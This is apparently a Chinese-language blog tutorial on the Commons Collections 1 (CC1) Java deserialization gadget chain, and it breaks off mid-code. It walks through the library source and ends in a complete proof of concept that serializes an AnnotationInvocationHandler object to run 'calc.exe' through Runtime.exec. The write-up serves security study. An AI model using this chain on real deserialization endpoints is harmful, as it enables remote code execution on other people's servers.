CC链的介绍
Apache Commons 当中有⼀个组件叫做 Apache Commons Collections ,主要封装了Java 的 Collection(集合) 相关类对象,它提供了很多强有⼒的数据布局类型而且实现了各种集合工具类。
作为Apache开源项⽬的紧张组件,Commons Collections被⼴泛应⽤于各种Java应⽤的开发,⽽正 是由于在⼤量web应⽤程序中这些类的实现以及⽅法的调⽤,导致了反序列化⽤漏洞的普遍性和严厉性。
Apache Commons Collections中有⼀个特殊的接口,此中有⼀个实现该接口的类可以通过调用 Java的反射机制来调用恣意函数,叫做InvokerTransformer。
- 简单来说就是利用org.apache.commons.collections中的各种类构成的序列化对象,实现序列化漏洞的利用.由于该库中的各种类极其丰富,有不止一种链条来引发反序列化漏洞.
P牛的CommonCollections1分析
代码分析
这里直接贴了代码,分析过程在注释里- import org.apache.commons.collections.Transformer;
- import org.apache.commons.collections.functors.ChainedTransformer;
- import org.apache.commons.collections.functors.ConstantTransformer;
- import org.apache.commons.collections.functors.InvokerTransformer;
- import org.apache.commons.collections.map.TransformedMap;
- import java.util.HashMap;
- import java.util.Map;
- public class CommonCollections1 {
- public static void main(String[] args) throws Exception {
- Transformer[] transformers = new Transformer[]{
- new ConstantTransformer(Runtime.getRuntime()),
- new InvokerTransformer("exec", new Class[]{String.class},
- new Object[]
- {"calc.exe"}),
- };
- Transformer transformerChain = new
- ChainedTransformer(transformers);
- Map innerMap = new HashMap();
- Map outerMap = TransformedMap.decorate(innerMap, null,
- transformerChain);
- outerMap.put("test", "xxxx");
- }
- }
复制代码- // Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
- // 对innerMap进行修饰,当返回对象outerMap put(null,value)时,调用了transformerChain.transform(value)
- // 实际上可以看到put内`key = transformKey(key);value = transformValue(value);`实际上调用的类和方法是相同的
- // 所以,TransformedMap.decorate(innerMap, transformerChain, null);同样可以触发漏洞
- public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
- return new TransformedMap(map, keyTransformer, valueTransformer);
- }
- protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
- super(map);
- this.keyTransformer = keyTransformer;
- this.valueTransformer = valueTransformer;
- }
- public Object put(Object key, Object value) {
- key = transformKey(key);
- value = transformValue(value);
- return getMap().put(key, value);
- }
- protected Object transformKey(Object object) {
- if (keyTransformer == null) {
- return object;
- }
- return keyTransformer.transform(object);
- }
- protected Object transformValue(Object object) {
- if (valueTransformer == null) {
- return object;
- }
- return valueTransformer.transform(object);
- }
复制代码- // 来到了transformerChain.transform(value)
- // Transformer transformerChain = new ChainedTransformer(transformers);
- // transformerChain.transform(value)遍历调用了数组transformers中的元素的方法transform
- public class ChainedTransformer implements Transformer, Serializable {
- // ......
- public ChainedTransformer(Transformer[] transformers) {
- super();
- iTransformers = transformers;
- }
- // Transformer是一个接口,只有一个待实现的方法transform
- public Object transform(Object object) {
- for (int i = 0; i < iTransformers.length; i++) {
- object = iTransformers[i].transform(object);
- }
- return object;
- }
- // ......
- }
复制代码- // 再来到数组transformers
- /* Transformer[] transformers = new Transformer[]{
- new ConstantTransformer(Runtime.getRuntime()),
- new InvokerTransformer("exec", new Class[]{String.class},
- new Object[]
- {"calc.exe"}),
- };*/
- // new ConstantTransformer(Runtime.getRuntime())
- public class ConstantTransformer implements Transformer, Serializable {
- // ...
- public ConstantTransformer(Object constantToReturn) {
- super();
- iConstant = constantToReturn;
- }
- public Object transform(Object input) {
- return iConstant;
- }
- // ...
- }
- // new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})
- public class InvokerTransformer implements Transformer, Serializable {
- // ...
- public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
- super();
- iMethodName = methodName;
- iParamTypes = paramTypes;
- iArgs = args;
- }
- public Object transform(Object input) {
- if (input == null) {
- return null;
- }
- try {
- Class cls = input.getClass();
- Method method = cls.getMethod(iMethodName, iParamTypes);
- return method.invoke(input, iArgs);
-
- } catch (NoSuchMethodException ex) {
- throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
- } catch (IllegalAccessException ex) {
- throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
- } catch (InvocationTargetException ex) {
- throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
- }
- }
- // ...
- }
复制代码- // 所以key="test";transformerChain.transform(value)实际上执行了什么
- // transformers[0].transform("test")
- object = (Object) Runtime.getRuntime();
- // transformers[1].transform(object)
- Class cls = object.getClass();
- Method method = cls.getMethod("exec", new Class[]{String.class});
- method.invoke(object, new Object[]{"calc.exe"});
复制代码 对于TransformedMap的明白
在P牛的分析文章里,看到他对于Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);的明白是返回了一个Map的装饰器,在查询相关资料之后,感觉明白了这个装饰器的概念,有助于我们明白上面的反序列化利用链。
TransformedMap 是 Apache Commons Collections 库中的一个类,属于 org.apache.commons.collections4.map 包。它用于创建一个装饰器(decorator),在将键或值存储到底层映射之前和从底层映射读取之后,对键或值进行转换。
TransformedMap 类的主要目标是在不修改底层数据布局的情况下,提供一个在插入和访问数据时进行转换的机制。这在某些情况下非常有效,例如你需要确保全部存储的值都经过某种处置惩罚或验证。
- import org.apache.commons.collections4.Transformer;
- import org.apache.commons.collections4.map.TransformedMap;
- import java.util.HashMap;
- import java.util.Map;
- public class TransformedMapExample {
- public static void main(String[] args) {
- // 创建一个普通的 HashMap
- Map<String, String> originalMap = new HashMap<>();
- // 创建键和值的转换器,Transformer是只有一个抽象方法的接口,可以采取lambda表达式实现
- // key -> "key-" + key等价于
- /*
- Transformer<String, String> keyTransformer = new Transformer<String, String>() {
- @Override
- public String transform(String key) {
- return "key-" + key;
- }
- };
- Transformer<String, String> valueTransformer = new Transformer<String, String>() {
- @Override
- public String transform(String value) {
- return "value-" + value;
- }
- };
- */
- Transformer<String, String> keyTransformer = key -> "key-" + key;
- Transformer<String, String> valueTransformer = value -> "value-" + value;
- // 使用 TransformedMap 装饰原始的 Map
- // 执行了Transformer实现类的transform方法
- Map<String, String> transformedMap = TransformedMap.transformingMap(
- originalMap, keyTransformer, valueTransformer);
- // 插入数据
- transformedMap.put("1", "one");
- transformedMap.put("2", "two");
- // 打印 transformedMap
- System.out.println("Transformed Map: " + transformedMap);
- // 打印 originalMap
- System.out.println("Original Map: " + originalMap);
- // 访问数据
- System.out.println("Value for key '1': " + transformedMap.get("1"));
- }
- }
复制代码 所以现在明白Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);,innerMap是我们要装饰的原始innerMap,而transformerChain是Transformer实现类,我们在进行outerMap.put("test", "xxxx");时调用它的transform方法。
不是真正POC的缘故原由
先前例子中,我们手工执行outerMap.put("test", "xxxx")触发了反序列化漏洞,但是在正常的反序列化漏洞利用场景中,序列化对象只是一个类,即:- Transformer[] transformers = new Transformer[]{
- new ConstantTransformer(Runtime.getRuntime()),
- new InvokerTransformer("exec", new Class[]{String.class},
- new Object[]
- {"calc.exe"}),
- };
- Transformer transformerChain = new
- ChainedTransformer(transformers);
- Map innerMap = new HashMap();
- Map outerMap = TransformedMap.decorate(innerMap, null,
- transformerChain);
- // 序列化对象
- try (FileOutputStream fos = new FileOutputStream("outerMap.ser");
- ObjectOutputStream oos = new ObjectOutputStream(fos)) {
- oos.writeObject(outerMap);
- System.out.println("Person 对象已经被序列化到 outerMap.ser 文件");
- } catch (IOException e) {
- e.printStackTrace();
- }
复制代码 此时,我们虽然得到了outerMap的序列化对象,但是当其被反序列化时,如果readObject方法中没有进行outerMap.put或者它调用transformerChain.transform(value)的操作,其也不可能触发反序列化漏洞
CommonCollections1
- CommonCollections1的依靠为commons-collections:3.1
- <dependencies>
- <dependency>
- <groupId>commons-collections</groupId>
- <artifactId>commons-collections</artifactId>
- <version>3.1</version>
- </dependency>
- </dependencies>
复制代码
- 对于java版本的要求是8u71以前,下文版本为8u66
对于利用链的大致梳理
先把终极的poc代码展示一下,后面分析如何一步步改进得到该poc- public class CommonCollections1 {
- public static void main(String[] args) throws Exception {
- Transformer[] transformers = new Transformer[] {
- new ConstantTransformer(Runtime.class),
- new InvokerTransformer("getMethod", new Class[] { String.class,
- Class[].class }, new
- Object[] { "getRuntime",
- new Class[0] }),
- new InvokerTransformer("invoke", new Class[] { Object.class,
- Object[].class }, new
- Object[] { null, new Object[0] }),
- new InvokerTransformer("exec", new Class[] { String.class },
- new String[] {
- "calc.exe" }),
- };
- Transformer transformerChain = new
- ChainedTransformer(transformers);
- Map innerMap = new HashMap();
- // new
- innerMap.put("value", "xxxx");
- // new
- Map outerMap = TransformedMap.decorate(innerMap, null,
- transformerChain);
- // delete
- // outerMap.put("test", "xxxx");
- // delete
- // new
- Class clazz =
- Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
- Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
- construct.setAccessible(true);
- Object obj = construct.newInstance(Retention.class, outerMap);
- ByteArrayOutputStream barr = new ByteArrayOutputStream();
- ObjectOutputStream oos = new ObjectOutputStream(barr);
- oos.writeObject(obj);
- oos.close();
- System.out.println(barr);
- ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
- Object o = ois.readObject();
- }
- }
复制代码 前文的例子中的序列化对象缺少一个outerMap.put来触发漏洞,自然地,我们继续地去寻找类,在其readObject中可以或许进行outerMap.put操作,这个类就sun.reflect.annotation.AnnotationInvocationHandler,注意这个类是Java的内部实现类,位于sun.reflect.annotation包下,所以它在Java的不同版本下实现可能是不同的,所以现在使用到AnnotationInvocationHandler的这条链只能在java8u71之前触发漏洞。
看一下AnnotationInvocationHandler的readobject方法- private void readObject(java.io.ObjectInputStream s)
- throws java.io.IOException, ClassNotFoundException {
- s.defaultReadObject();
- // Check to make sure that types have not evolved incompatibly
- AnnotationType annotationType = null;
- try {
- annotationType = AnnotationType.getInstance(type);
- } catch(IllegalArgumentException e) {
- // Class is no longer an annotation type; time to punch out
- throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
- }
- Map<String, Class<?>> memberTypes = annotationType.memberTypes();
- // If there are annotation members without values, that
- // situation is handled by the invoke method.
- for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
- String name = memberValue.getKey();
- Class<?> memberType = memberTypes.get(name);
- if (memberType != null) { // i.e. member still exists
- Object value = memberValue.getValue();
- if (!(memberType.isInstance(value) ||
- value instanceof ExceptionProxy)) {
- memberValue.setValue(
- new AnnotationTypeMismatchExceptionProxy(
- value.getClass() + "[" + value + "]").setMember(
- annotationType.members().get(name)));
- }
- }
- }
- }
复制代码 这里就直接指出触发关键地点了,即 memberValue.setValue,memberValue是该AnnotationInvocationHandler的属性memberValues的元素,让我们看看这个属性的具体情况
[code]private final Map memberValues;AnnotationInvocationHandler(Class |